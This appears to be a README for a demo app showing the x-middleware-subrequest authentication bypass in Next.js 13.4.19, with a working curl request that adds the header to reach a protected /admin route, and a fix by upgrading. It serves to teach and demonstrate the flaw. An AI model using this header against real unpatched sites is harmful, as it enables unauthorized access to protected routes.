
This application demonstrates the x-middleware-subrequest vulnerability in Next.js 13.4.19, which allows bypassing middleware protection.
npm install
npm run dev
The application has an admin page at /admin that should be protected by middleware. However, it can be accessed without authentication using the x-middleware-subrequest header.
/admin - You will be redirected to /login/adminTo bypass the authentication, you can use curl or any HTTP client to make a request with the x-middleware-subrequest header:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
This vulnerability demonstrates how middleware protection can be bypassed in Next.js 13.4.19 by using the x-middleware-subrequest header. In a production environment, this could allow unauthorized access to protected routes.
To fix this vulnerability, upgrade to a newer version of Next.js where this issue has been patched.